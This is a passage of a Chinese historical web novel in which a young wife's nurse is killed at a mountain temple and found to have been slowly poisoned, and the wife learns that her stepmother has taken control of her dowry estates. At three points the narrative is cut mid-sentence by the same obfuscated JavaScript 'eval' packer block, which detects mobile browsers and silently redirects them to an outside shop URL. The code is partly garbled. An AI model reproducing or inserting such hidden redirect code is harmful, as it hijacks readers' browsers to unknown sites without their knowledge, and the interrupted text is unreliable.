崔明之却只是干答应着，身子一动不动。 当着众人，万山雪丢脸又难堪，几乎想找个地缝钻起来。 “夫人跟着我们一道走吧，”江心澜说道，“我们随行人多，又要押这些匪徒进京，顺道护送夫人一程。” 万山雪如蒙大赦，连声道谢。而崔明之连送都没出来送一下。 纵然做好了心理准备，可是当着众人被他这样轻慢，她仍觉羞臊难当，好像她是天下最不堪之人，做丈夫的连起码的面子都不肯稍稍顾及。 风动车帘，她的眼里盈满了泪水。 恰好此时，黎偃松催动马儿走近两步，她猝不及防，连忙转过头去狼狈地擦去眼泪。 那人却没有看她，只是压低声音问道：“方才忘了问，夫人家在哪里？许多年不在京城，不大熟悉。” “就在六块玉胡同。”万山雪匆匆答道。 黎偃松答应一声，便催马去前面领路了。 江心澜骑在马上，向身后的男子低声说道：“看见了吧，又是怀着身孕被打，又是夫君爱答不理当着众人也不给脸的。明洲，下次我爹娘再要催我嫁人，你俩记得给我做个铁证，成亲有什么好的。” “别人家事你引以为教训，自家父母感情那样水乳，你倒视而不见。”景明洲笑道。 “你懂什么，不是人人都有这个好运气的，我不痴心妄想。” 江心澜说着白了他一眼，“听你这语气倒是很神往成家似的，趁着这次回京多多相亲，没看见景叔愁得头发都白了。还有黎偃松，次次回京都拿我挡媒人，这些年也不知受了别人多少白眼，窦娥都没我冤。” “你们这是互相帮助，互惠互利。” 黎偃松打马走在前面，不似往常那样，参与二人说笑。 江心澜凑近景明洲低声道：“哎，你发现没，这家伙今日很不对，怎么老盯着人家万夫人看？看着也不像旧相识啊。” 景明洲吓得要捂她的嘴：“姑奶奶你别说话了，这可是京城脚下，约束女子的规矩能写满十卷书，让别人听去怎么得了？” “嘁，我知道。你细想想，他往常正眼看过谁？今日你在外面没看到，他的眼神时不时地飘向人家，别人或许看不出来，可别想瞒过我去。” “别胡说了，怎么可能？你又不是不知道他，心里眼里只有保家卫国四个字。顶多就是同情万夫人的遭遇罢了。” 江心澜蹙眉想了一会儿，点点头：“那也有可能。不过以咱们的交情，你俩只要不叛国，别的事情我都能站你们这边。” “得，我谢谢你。” 两人正值青春年少，一个俊朗无双，一个清丽脱俗，并辔而行说说笑笑，一路上不知引来了多少歆羡赞赏的目光，连拂过的风都温柔了几分。 万山雪上车便看到橘霜和红璎都换了干净的衣服，一问方知是江心澜让眺月拿来的。 她满心感激打起帘子，看着江心澜骑在马上的模样，不知怎地想起话本子里说的越女剑，不染纤尘锋芒毕露，又有女儿家特有的柔美，仿佛天地间的一切都在她的掌控之中。 她只觉得神往不已，揽镜自照，又不由得黯然神伤。 如果说江心澜是自由展翅的鹰，她就是那笼中鸟儿，日日打扮光鲜亮丽，枯坐等着主人的爱怜。 红璎知道她心里难过，便有意拿话岔开，指着外面的风景闲话。 万山雪的眼神却始终流连在江心澜身上，喃喃道：“你们看江姑娘，活得多么快活，真使我羡慕。” “江姑娘自小随着父母在边疆长大，无拘无束，自然比京城中女子洒脱自由一些。”橘霜说道。 红璎不愿意往下说，打岔道：“听说这位江姑娘跟黎将军是实打实的青梅竹马呢，黎将军对她父母也是以师父师母相称，这可是亲上加亲了。” 这话却是对着橘霜说的，橘霜白净的脸盘唰得红透了：“关我什么事，空口白牙的巴巴说起这个。” 红璎坏笑道：“谁让你一直盯着黎将军看的，眼睛都快黏人家背上了。” “好看的人儿，人人爱看，你没看萧老爷和夫人，知道自家儿子没有性命之忧后，也不住地看黎将军呢！”橘霜见被发觉，索性理直气壮道。 “哟，到底大我两岁，饶是无理也能辩三分。那这么着，我瞧着江姑娘心地良善，将来生活在一个屋檐下决不会亏待你，再不然她旁边那位景副将也很好……” 橘霜扑过来作势要撕她的嘴：“当着姑娘，你愈发疯了！” 万山雪知道她们有心逗自己乐，微微笑着。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16756650|190081||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 主仆三人正说着闲话，车子缓缓停住了。 万山雪打起帘子，只见一个面目清秀的小厮朝这边过来，是方才跟在黎偃松身边的，叫青鲤。 他恭恭敬敬朝着万山雪行了一礼说道：“将军担忧夫人不惯长途奔波，吩咐停下来歇息片刻。” 万山雪想起来时路的狼狈不堪，心底涌上来一股暖意，问道：“有劳你辛苦传话，我倒不觉得怎样累。请问前面是何处？” 青鲤笑道：“已经到了青檀山下。” 万山雪一听此话，蓦地一下子站起身，不防头撞到了车顶，顾不得疼痛，急急忙忙下了车。 晨间原就打算去跟婆母编个幌子出来一趟看望乳母的，顺道查一查嫁妆上的产业，没想到逢上萧家之事，心绪烦乱，差点给忘了。这会子听见青檀山三个字，真是惊喜异常。 她快步走到黎偃松和江心澜跟前说道：“多谢将军和姑娘一行辛苦护送，待回了京里一定好好登门感谢。我乳母在这山上青檀寺清修，恰好路过，想去看望看望她老人家。就此与将军和姑娘别过。” 她满心为能见到春草、解开两人的心结而欢喜不已，说话时神采飞扬，完全不同于此前那个神色郁郁的小妇人。 江心澜说道：“青檀山距离京城也不算太远，夫人若是想来，回头跟着家丁一起过来也很方便。方才那些匪徒穷凶极恶，实在令人不放心。” 万山雪见她处处为自己着想，十分感动，却也知道回去想要出来，可就太难了，便坚持道：“我夫家是生意人，整日忙碌不休，没有闲暇陪我出来。实不相瞒，我自嫁进崔家，就再也没有见过乳母。” 黎偃松沉吟片刻，说道：“明洲，青鲤，你俩负责护送崔夫人。” 江心澜兀自不答应：“那怎么行？两个人保护三个人，怎么看都让人不放心。夫人若是想来，今日押送匪徒安稳回了城，明日我们再送你来此看望乳母，也不费什么事。” 景明洲说道：“哎哎哎，什么叫那怎么行，我堂堂副将，以一当百，打几个小蟊贼那不是手到擒来。” 江心澜翻了个白眼道：“你等我回去，把你方才打蟊贼的‘英勇’样子画下来，你看了再吹牛。” 他俩你一句我一句拌起嘴来，万山雪有些为难，只得向黎偃松说道：“我知道江姑娘是为了我好，只是……我若是这会子回去，再想要出来是很难很难的……” 黎偃松点点头，眸色沉沉，半晌说道：“夫人当心。” 待万山雪一行上了山，黎偃松唤过金鲤来：“你回去客栈跟崔公子说一声，万夫人行程有变，让他知晓。” 江心澜嗤之以鼻：“得了吧，你看他对妻子那副冷漠的样子，他关心她的行程么？就不告诉他，找不到才好，急死他，我看他还那么无动于衷。” 黎偃松摇摇头：“别说傻话了。京城不比边疆，人心复杂，无风也能起三尺浪。他们夫妻关系本就不好，若是找不到人，又得知是跟我一个外男走的，不知道会被别人编排成什么样子。” 江心澜嘴里恨恨地嚼着一根草，气咻咻说道：“呸！白瞎了那副人模狗样！真想仗剑走天下，手刃那些负心汉！” 说着无精打采地夹了一下马肚子嘚嘚前行，黎偃松亦是不语，缓缓行进。 约莫走出半里地，忽然听到一声尖利突兀的呼哨声。 8. 春草惨死 黎偃松与江心澜对视一眼，立即调转马头，低声吩咐亲兵队长道：“怕有后援，给他们灌软骨散，留意信号。” 说完扬鞭往回疾驰，江心澜紧随其后。 迎面撞见方才留在原地看管马车的牧笛驾车而来，他神色焦急说道：“将军，姑娘，后山有捷径可走，请随我来。” 三人骑行一段，瞧见一株长在山坳里的野石榴树，牧笛翻身下马说道：“就是这里。” 拨开石榴花枝，面前是一人多高密不透风的荆棘丛，如同吃人的野兽长着獠牙。牧笛伸手一推，一扇荆棘门缓缓打开，带着金属簧片弹开的轻响。眼前显现出一条清晰却陡峭的山路，直往山巅而去。 江心澜奇道：“这样隐蔽的小路你如何会发现？” 牧笛跟着崔明之学过自保防身之术，到底比不得常年练武之人的身子强健，一路上跑得上气不接下气，却一步也不肯落后，喘着粗气说道：“我经常……经常替红璎姑娘来看……看她的娘亲，怕撞见别人，所以……” 他意识到失言，不再往下说了。 三人一路向山顶奔去，腐木的潮气涌入鼻息，黎偃松手握长剑，脚下如飞，吩咐江心澜：“老规矩，你躲远点儿，护好自己。” 又冲着牧笛道：“你也是。” 江心澜道：“何消吩咐，你才经过鏖战，万事当心。” 天色已晚，暮色如温热的琥珀从天边漫入山林间，溪水驮着金色碎片流淌，石苔泛着暗绿的幽光，蝉鸣逐渐稀薄，归鸟掠过时煽动的翅膀，带入丝丝缕缕的墨色。寂静得能听见彼此的心跳声。 接近青檀山的后院时，忽地前方树影一动，伴随着寒光闪动，一个黑影如鬼魅般从天而降，手持长刀，直指黎偃松咽喉。 他眼神一凛，身形骤然一偏，长剑顺势横扫，兵刃相接，发出刺耳的金属之声。 对方个头不高，可是孔武有力，一望而知是武功高强之人。黎偃松余光瞥见江心澜拉着牧笛利索地爬上了一旁的大树，略觉安心，手中长剑舞得密不透风，逼得对方不住后退。 忽听江心澜大喊：“明洲当心身后！” 他深知江心澜的性子，看起来脾气暴躁，其实遇到事情时很能沉得住气，景明洲又是一等一的高手，非危急情况她不会出声。心下更是焦急，出手又快又急，丝毫不给对方喘息之机，终于瞅准机会，趁那人趔趄之际，一剑刺入胸口，不敢耽搁，飞快往山顶奔去。 江心澜与牧笛快步跟上，语气十分焦急：“他们人数不少，从衣着身手来看，与方才那帮人似是不相干。明洲肩头有伤。” 说话时又跃下两名粗衣打扮的男子，直冲江心澜而来，黎偃松将她护在身后，直冲向前，三人战作一团。 剑光刀影之间，只听青鲤喊道：“将军，这几个人武功高强，救了人就走，不要恋战！” 景明洲一面交战一面回应：“不能走，这矮冬瓜砍了我一刀，我得砍足他一百刀才能走！” 江心澜气急：“你个碎嘴子，能不能专心打架！” “用词准确点儿，亏你读了一肚子的书，我这是伸张正义之战！” 黎偃松极力周旋着往寺前奔来，只见青檀寺大门紧闭，里面隐约传来香客们惊恐的尖叫声和孩子的哭声。 他心下暗暗吃惊，不知里面的人平安无虞还是被劫持了。余光瞥见青鲤和景明洲都在奋力搏杀，一身是血。红璎被捆缚着身子绑在树上，橘霜倒在地上一动不动，不知是死是活。万山雪则被一个身形高大的黑衣人劫持着。 身后一人纠缠而上，三十来个回合对方仍是杀气腾腾，必要至他于死地的架势。他心下生疑，这些年战事频仍，凡是高手若不在军中效力，就在宫里护驾，俸禄丰厚惠及家属，绝无卖命当匪徒的道理，这伙人究竟是何来头？ 江心澜大喊道：“癞蛤蟆！” 黎偃松余光扫过去，只见一个满脸麻子的正在与青鲤打得难舍难分，立即会意，避开对手的长刀，借势跃上一旁的巨石，一剑劈开那人，随即向那个满脸麻子的人飞起一脚，正中太阳穴。 那人身子晃了两晃快要倒下，挣扎时随即被黎偃松踩在脚下，他一剑挑开橘霜身上的束缚，随即绑住了此人。 景明洲大笑：“妙哉，擒贼先擒王！只是江姑娘，麻烦你下次起个好听点儿的名字，你知道我笑点太低，很容易影响我发挥武力的。” 劫持万山雪的那人，一手勒紧万山雪的脖子，往寺门的院墙退去，大喝一声：“放开我大哥，否则我杀了她！”听口音是京城附近人氏。 暮色四合，寺院里有灯光渐次亮起，想来里面的人是安全的，只是主持为护着香客才紧闭了大门，黎偃松心里宽慰些许。 再看万山雪，被拖行至墙根儿，长刀闪着寒光横在她的咽喉处，殷红的血汩汩而下，他看得清楚，她满脸眼泪，浑身都在哆嗦，却紧紧咬着下唇一言不发。 黎偃松持剑与那人对峙，却不敢逼近，万山雪含泪对他笑了笑，用口型说着“谢谢”。 他忽地明白过来，她不喊疼不尖叫，是怕一出声就引来了一墙之隔的乳母。 万山雪眼珠不错地看着眼前这群素不相识的人，为了救她的命奋不顾身，又感激又羞愧，又是难过，若是生命到此而止，要如何去报答他们？ 江心澜处变不惊的模样更是让她折服，在她之前，万山雪不知道原来女子面对危险时也可如此镇定，大将风度不是男子的专属形容。 这十九年，真真是白活了。 她闭上双眼，等待着最后的凌迟。 相持不下时，忽听半空中传来一声棍棒呼啸：“放开我儿！” 墙头上忽地现出一个人来，拿着木杖对着黑衣人打去，却因为离万山雪太近，怕伤了她，始终有所顾忌。 万山雪和红璎几乎是同时惊叫：“阿母回去！”“娘，当心！” 陡然生变，黎偃松趁那人分心，飞身向这边奔来。 谁知那人反应奇速，电光石火之间，他一手抓住木杖拉下春草，在黎偃松救出万山雪并将长剑刺入他脖颈的时候，他也一刀扎进了春草的心口，长刀穿心而过。 万山雪只觉得眼前漫天漫地都是猩红的血。 她跪在地上，喉咙呜呜咽咽却发不出一个字，泪水大颗大颗地落下来，心仿佛被用手撕开了，疼得没有办法呼吸。 她哆哆嗦嗦地去摸春草心口的那把刀子，却不敢碰，绝望地唤着：“阿母，阿母……” 红璎更是疯了一般，扑在春草身旁大哭：“娘，娘！快来人啊，救救我的娘啊！” 黎偃松将剩下的人一并绑了，由景明洲押到山 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16756651|190081||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下，又命青鲤将受伤昏迷的橘霜背下去救治，这才回过身来，缓缓地将长剑擦拭干净。 佛门重地恢复了往日的素净，夕照温柔恬静地为山林蒙上一层柔纱，就好像那场惊心动魄的厮杀，从来没有发生过。只余两个伤心欲绝的姑娘。 江心澜别过脸去，不忍再看。 黎偃松是见惯了生离死别的人，战场之上刀剑无眼，人命如草芥，慢慢地，心肠就硬了，硬到自己都以为，腔子里跳动的不是心，是个冰冷冷的石块。 此刻听着万山雪和红璎一声声的呼唤，眼前忽然浮现出白幡如浪的灵堂，棺盖上御赐的明黄绢帛刺得人眼睛生疼，太监宣旨的声音更是尖利如刀：“以身献国，赐谥忠烈，配享太庙……” 最初是祖父，后来是大伯，二伯…… 那个小小的男孩，惊恐地看着一副副被拉进大门的上好棺木，百官素服相迎，无上荣光也抵消不了半分痛楚。 再后来，是黎偃松的父亲黎玄，被人从战场上拉回来，终身瘫痪。好在保住了一条命。 黎家在京城是独特另类的存在，满门忠烈备受尊崇，却无人艳羡。更无别的世家大族里熙熙攘攘热闹繁华的景象。光耀门楣的背后，是心碎的女眷和孩子们。 她们比任何妇人都盼望能够生下女儿，好让孩子能远离战场平安无虞度过一生。奈何命运作弄，三家都是儿子，三位妯娌不约而同再不敢生育。 天意弄人的是，偏偏黎家儿郎，个个都是打小就流露出卓越的军事才能，掩也掩不住的光芒。 黎玄身残归来第二日，大伯娘便拿药毒哑了儿子黎偃成。 众人都以为他是伤心过度所致，唯有黎偃松清清楚楚地目睹了整个过程。 哑了的黎偃成一封一封的家书里只有一句话：吾弟安好？ 二哥黎偃钟则是个病秧子，几乎拿药当饭吃。究竟是身子弱，还是二伯娘所为，他不愿意深究。 只是，他清清楚楚地知道自己的天赋与热爱，起初为了府里的哀伤一直隐忍不发，直到十三岁那一年，边疆大乱，将士们节节败退，他整夜整夜地睡不着。 那段时间，祖母与母亲恨不得将他捆在屋里。 爹爹黎玄于深夜手足并行，亲手打开书房的门：“我儿去吧。” “若是我……” 黎玄却只是含泪微笑。 他冲着父亲恭恭敬敬地磕了三个头，只身入宫求见天子，要求前往北疆，上阵杀敌。 先皇断然拒绝了他的要求：“你是黎家最大的希望，朕不能答应。” 黎偃松挺直脊梁：“正因如此，臣更不能退缩。” “你不怕死？” “怕。可是臣更怕，怕这一生畏手畏脚，连心底热爱都不敢正视，亦怕黎家自此无人能从先人倒下的地方爬起。” 先皇不许，他便长跪不起。终于在家人的眼泪中，赶赴北疆，皇上命江咏将军倾力培养，这一去便是整整七年。 七年时间，他从羸弱的少年长成独当一面的将军，赞誉满天下，原以为从前那些伤痛都已随着时光流逝变得浅淡，可是再次面对骨肉别离，那些压在心底的回忆又卷土重来，只觉得心痛如绞。 春草剧烈咳嗽一声，缓缓抬了抬手。万山雪和红璎立即止住了哭声，屏住呼吸盯着她的一举一动。 9. 有人下毒 春草苍白而微弱地笑了笑：“别哭，孩子们。” 除了在万山雪姐弟的事情上不肯让步以外，她从来都不肯凭着兰蘅临终遗言摆长辈架子，称呼行事上更是主仆分明。这是她第一次呼唤万山雪“孩子”。 也极有可能，是最后一次了。 万山雪的眼泪又决了堤：“阿母，你原不必……” 那会子红璎已经安然无恙，她原不必如此拼命的。她不是阿母生的，还曾经那样伤过她的心。 “阿母，对不起，对不起，我错了……” 她握着春草的手，一个劲儿地叩头。 春草艰难地制止了她，轻声说道：“我的姑娘，我从来不曾怪过你……只是心疼。女子的清醒，总是要……伴随着很深很深的痛。可是你能够明白过来，就不晚。” “你永远不必心有愧疚，你不欠我任何，我不过是在报答你母亲的恩情。” 春草说到这儿，慢慢转向红璎，眼神温柔而伤感。 这件事儿，万山雪听祖母讲过一嘴。 春草是兰蘅的陪嫁丫头，当年与万家一个叫陈粮的小厮私下约定终身。 兰蘅经过多方打听，得知陈粮貌似忠厚，却有个戒不掉的恶习——赌博，上有八十岁老母，下有个游手好闲的弟弟，她料定春草嫁过去定然会受委屈，坚决不肯。 而春草一如当初的万山雪，死心塌地要嫁。认为自己就是那个例外，可以让对方为了她改过自新。 兰蘅各种法子都用了，怎么也拗不过，最后无奈答应了。不仅以义妹之名将她嫁出，给了丰厚的陪嫁，还托人给陈粮觅了一份手艺活，想让他有一技之长养家糊口，春草跟着他亦能体体面面生活。 过了浓情蜜意的那段时日，陈粮本性便藏不住了。春草生下红璎正是需要补养身体的时候，不仅无人伺候月子，就连家里米缸也是底朝天。她才知道，丈夫已经瞒着她将家中财物赌输得精光。 走投无路时，她抱着襁褓里的孩子跪在万家门前。兰蘅一句重话都没舍得说她，当时还怀着万山毓，挺着大肚子去恳求婆母同意，将她母女接回府里照顾。 “走错了路……不要紧，你还年轻，万万不要委屈自己。这是你娘当初对我说的话。” “你娘给了我回头的路，我却没有……只恨我当时不该……不该意气用事，该好好儿地跟你将利害分说清楚，都是我不好。” 春草的眼泪滑落下来，气息微弱：“往后，你和红璎好好儿的，还有橘霜那丫头，心地良善，也是我特地挑出来的……” “我没能照顾好你，我愧对……我死后，你们好歹，好歹让我和她离近些……” 春草的眼角的泪水成串坠地，带着无尽的遗憾。 寺庙的门开了，里面的香客们得知化险为夷，劫后重生，都不敢再作停留，脚步纷纷往山下逃去。住持带着一众姑子出来围着春草站定，双手合十，嘴里念念有词。 有一位清瘦的中年男子往这边看了一眼，见有伤者，便过来伸手把脉，姿势甚是熟练，一看便是从医多年的大夫。 万山雪和红璎如溺水之人获得生还希望，带着希冀求救的眼神看着他。 那人的眉头越蹙越紧，两只手轮流号脉过后，翻看了口唇和眼睛，将伤口附近的血沾在手上嗅了又嗅，疑惑道：“这位师父在寺里清修，怎会有人对她下毒？” 下毒？ 万山雪和红璎睁大了眼睛，那人肯定道：“千真万确是中了慢性毒药，已经深及脏腑，经年日久，决非一日两日的事儿。” 春草面上现出愕然之色，显然对此事毫不知情。 过了片刻，她缓缓笑了，说道：“如此也好，姑娘就不必为我的死内疚了。你们，你们好好儿的……” 她的头蓦地偏向一旁，嘴角残留着一抹欣慰的笑容。 红璎扑在春草身上恸哭，万山雪跪在旁边，泪水如断了线的珠子，在血迹斑驳的裙摆上晕开一大片的水渍。 她如迷失的孩童，一声一声呼唤着：“阿母回来……阿母回来……” 红璎哭了一刻猛然止住，她扑上去厮打住持：“说，你们为何要害我娘？我娘在此清修，与你们无冤无仇，你们为何要对她下这样的毒手！” 众人纷纷上前劝解，住持好不容易脱了身，双手合十说道：“阿弥陀佛，施主伤心过度，有此质疑乃是理所当然。只是一来确如施主所言，我们无冤无仇，二来智清踏入佛门那日，我们便是住在一屋吃在一锅，如何能做到长年累月单独给她下毒？” 红璎眼睛血红，忽地想起了什么，她转身抓住牧笛的领口，咬牙切齿道：“是你！一定是你！你崔家记恨我娘当初不同意婚事，知道我求你帮忙看望我娘，便在药里下毒，是也不是？” 牧笛急得说话都结巴了：“怎么可能？我尊敬还来不及……你说嬷嬷胃不好，我便隔段时间去买一大包养胃的药送过来，因住持说庙里规矩森严，并不敢夹带别的吃食。你说我受崔家指使更不可能，我怕二爷发觉了生气，都是偷偷从后山上来的……是了，找的大夫是那个治胃病很出名的王明信老大夫，药方我都收着，姑娘若是不信，咱们可以去找他对质……” 说到后面，急得差点哭出来。 这时主持说道：“除了他，另有一人上山给智清送过东西，眉目与这位施主差相仿佛。” 万山雪见她指着自己，只觉得脑袋嗡的一声，讷讷问道：“是一位年轻男子么？约莫十七八岁？” 住持点点头。 万山锦和万山绣的长相跟她都不像，唯有万山毓，与她的眉目几乎一模一样。 她心里乱成一团，不知道说什么好，对着春草重重地磕了三个头，又转身对着红璎跪下去，被红璎哭着一把搀住：“姑娘，你要折煞我么？” 万山雪执意伏在地上，一字一顿说道：“红璎，我一定查到水落石出，给阿母报仇。” 惟其如此，她才能稍解内心汹涌的悔恨。 住持俯身问询道：“智清在此修行，依礼丧事就由寺里经办。不过你们到底是骨肉情分，她先因红尘中事而亡故，后有遗言要葬于尘世之中，还是要问问你们的意思。” 红璎看着万山雪，她拭泪道：“按着俗礼办吧。多谢住持和各位师父庇佑我阿母这些日子，待事情了了，我们一并来感谢。” 住持颔首道：“分内之事罢了。今日已晚，便先停放在寺里，待施主家人明日前来相迎。” 此话一出，万山雪这才恍然意识到，自己陷入了两难的境地。 她如今已经入了崔家门，而春草虽是乳母，当初并没有跟着她一起到崔家来。按理说，春草仍是属于万家所管。可是有了出家这个前提，祖母又撒手西去，如今管家的权力落在继母身上，她未必能答应安葬春草。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16756652|190081||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>崔家那边的态度，脚趾头想想也知道，根本不必去碰钉子。 念及此，心里不由一片惶然，娘家与婆家皆不是归宿，那么，何以为家？ 看着伏在春草身边哀哀痛哭的红璎，她心里忽地坚定下来。便是娘家婆家都不管，她就不能依靠自己的力量完成阿母的遗愿么？ 她擦干眼泪，请住持暂时看管春草，与江心澜一起搀着哭到瘫软的红璎，随着黎偃松一道下了山。 临上马车时，红璎却站住了：“姑娘，娘那会儿是糊涂了，不知道给你出了多么大的难题。有我做主呢，不拘哪一处坟地埋了就是，咱们不去求人。” 万山雪眼神却亮极了，她不容置疑地说道：“阿母一生就跟我张过这一次嘴，拼着跟他们大闹一场，我也必须完成。” 一直沉默不语的黎偃松忽然说道：“大闹一场固然解气，只怕于事无济。夫人还是要冷静下来，找到破解之道，才是上策。” 万山雪惊愕地看着他，他已经翻身上马，往前面去了。 离京城约莫只有半里地时，前方骤然亮起数十只火把，将黑夜照得如同白昼一般。火把之下，是一个个盔甲鲜明的侍卫。 刑部侍郎陈坪立于当中，语气恭谨地说道：“黎将军辛苦了。金相国听说黎将军回京路上英勇救人，大加赞誉，恐劳累将军太甚，令我等将匪徒押回大牢审问。” 景明洲一听此话瞬间跳起来，拉动肩头的伤，哎哟一声又坐了回去。 陈坪挑了挑眉：“景副将受了伤，来人，去回禀相国，速速延请太医诊治，不得耽误。” 江心澜担忧万山雪主仆伤心过度，一直骑马跟在马车旁，这时咬牙切齿轻声说道：“黄鼠狼给鸡拜年。” 饶是万山雪不懂这其中的弯弯绕绕，也模模糊糊猜到，黎将军和属下这场苦战，恐怕是要给他人做嫁衣裳了。 她将帘子微微掀开一道缝儿，瞧见黎偃松的侧脸在火光中忽明忽暗，咬肌微微隆起，甚至能清楚地看到他脖颈上淡青的血管跳了两跳，静默片刻，他朗声说道：“那便辛苦金相国了，有劳诸位将犯人带回，今日天色已晚，改日再去拜谢相国好意体恤。” 他退后两步，命金鲤青鲤将人带上来。转身的一瞬，万山雪看见他面庞沉静如水毫无波澜，想起他方才叮嘱她的话，反复咀嚼，若有所悟。 待陈坪带队走后，黎偃松命属下先回去歇息，他与江心澜一道，将万山雪送到了六块玉胡同附近，便要告辞。 他们是救命恩人，于情于理都应该奉为座上宾好好招待一番，只是一来乍然逢变，毫无心情，二来这是崔家，她已经从心底划清了界限。救命之恩，是她万山雪要铭记于心，一生报答的，与崔家无关。 她执着江心澜的手，语无伦次地客套着。 黎偃松洞若观火，指将她支吾出口的话堵住：“远道回京，家人挂念得紧，夫人保重，我们先行告辞。” 江心澜亦点头道：“我此次回家就借住黎家，夫人若是有空，托人捎个话就是，咱们相约到城里城外逛逛。” 万山雪感念不已，送走他们，牧笛正要往里面走，却被万山雪一把拉住：“牧笛，去城郊的梅溪村。” 牧笛不解道：“奶奶，这会子有些晚了……” “想不想尽快洗掉你身上的嫌疑？想了就走。” 牧笛不再犹豫，调转马头向城外驶去。 10. 婆母罚跪 梅溪村离京城很近，万山雪却是头一次来。 牧笛将车停在村口，问道：“二奶奶，这有个岔路口，是往东还是往西？” 这会子黑魆魆的，万山雪探头一看，别说东南西北了，连一条宽阔的路都找不到。 她只后悔，从前心思都放在梳妆打扮讨好夫君上面，成亲三年有余，这才想着要理一理陪嫁的产业。 所幸有牧笛跟着，他跳下车去摸黑儿四下找人打听，折腾半天，总算是找到了。 管理万家田庄的一家子姓梅，因为夫妻俩勤勉老实，很得万有善重用。这会子才刚端起碗筷，听说万家来了人，连忙迎着出来。 寒暄片刻之后，梅东笑道：“姑奶奶此来，是看望二姑娘的吧？” 万山雪很意外，万山绣怎会在此呢？ 此前也没有听刘嬷嬷说起，她便含混点点头，脸上并不流露出来：“有些日子没回娘家，听说她在这边，有些放心不下。” 梅东家的笑道：“平日里姑奶奶忙着一大家子不得闲儿，今日既来了，就多住几日。一来姊妹们好亲香亲香，再者这几日天热，桃子岭上消暑是最好不过的。我说老爷见多识广，寻来的工匠一个个竟跟神仙似的会变戏法，不知用的什么巧宗儿，冬天下着雪，进屋热烘烘的能冒汗，夏日甭管外面太阳多大，进去都是凉森森的。” 梅东笑道：“姑奶奶别听她说，解释一百遍都记不住。动工的时候我去看过，工匠在屋子地板下暗藏了陶制的水管，夏日引来山泉活水昼夜流动，故而屋子凉快。到了冬日里就命人烧水引入水管，使屋子增温。” 万家竟然在桃子岭上建了一座别业！ 她不动声色问道：“既是大费周章建造了，自然要弄得舒服些才是。我记得别业开工的时候，我还没出阁呢！” 梅东微微眯起眼睛掰着手指一算：“可不是，正是姑奶奶出阁那个月动的土。” 万山雪面上笑得和煦，心里却一寸一寸沉下去。 这么大的事，她竟然一无所知！ 梅东家的往门边一张望，脸便板了起来：“还不赶紧端过来！” 又满脸堆笑向万山雪说道：“姑奶奶别见怪，我们小门小户家的孩子，到底没见过世面，怵场得很。” 万山雪这才看到一男一女两个孩子怯生生地走了过来，看起来顶多不过十岁，口里说着：“给姑奶奶请安，姑奶奶请用果子。” 女孩捧着一个碧绿的荷叶盘，里面盛放着雪白的鲜藕，鲜核桃鲜菱角、切好的西瓜还有一把蜜饯，红的红白的白，衬着新鲜的绿色，分外清爽。 男孩捧着的是一大碗大大小小大约七八个蛋，却是从未见过的。 梅东见她看着新鲜，便说道：“这个是太太特意交代的，说二姑娘身子怯弱，一向容易生热，听老大夫说了一个方子，用卤肉的料子来腌蛇蛋，吃了不仅明目祛湿，还能免生恶痱毒疮。前儿寻了一两百枚来，每日给二姑娘卤一些送去，姑奶奶也尝尝。” 红璎连忙给了俩孩子赏钱。 万山雪一点儿胃口都没有，推说才用过膳，只尝了一二，又闲谈几句，佯装老练地问起今夏庄子收成。 梅东如数家珍，娓娓道来，将庄子经营所得一一说与她听。 万山雪在心里默默计算着，除去礼品不算，光是银钱进项就有三千多两。均摊到她的嫁妆上，总也不少于三百两。 “这里面有我的陪嫁，你怎么不说给我单独送一份过去？”万山雪脸上带着几分笑意，半是玩笑半是严肃，叫人拿不准她的用意。 夫妻俩面面相觑，支吾半天不知说什么好，最后还是那妇人鼓足勇气说道：“这田产，这庄子……太太交代过，虽为陪嫁，可是每年所得都归母家所有，太太再从中拨出十两银子给姑奶奶……” 万山雪心里冰凉一片。 梅东见她不接话，忙说道：“正是正是，我们不敢胡说，都有凭据的。” 他回屋不多会儿就拿着一张纸出来了，万山雪接过一看，只觉得浑身的血液都凝固了： 陪嫁梅溪村东头桑田八亩，田租收成由母家所有，岁末拨银十两给予万氏长女。庄内佃户悉皆听命于母家。若万氏长女身故，田庄归还万府本家，不得转赠或卖予外姓。 陪嫁家族风水林木二百株，采伐须经母家同意方可进行。 …… 其余的陪嫁大概也不用看了。 前尘后事在脑海里来回翻滚，好半天才如沸水渐渐止住，前几日脑海里影影绰绰的怀疑，至此终于尘埃落定。 她第一次意识到，什么是真正的无所依靠。 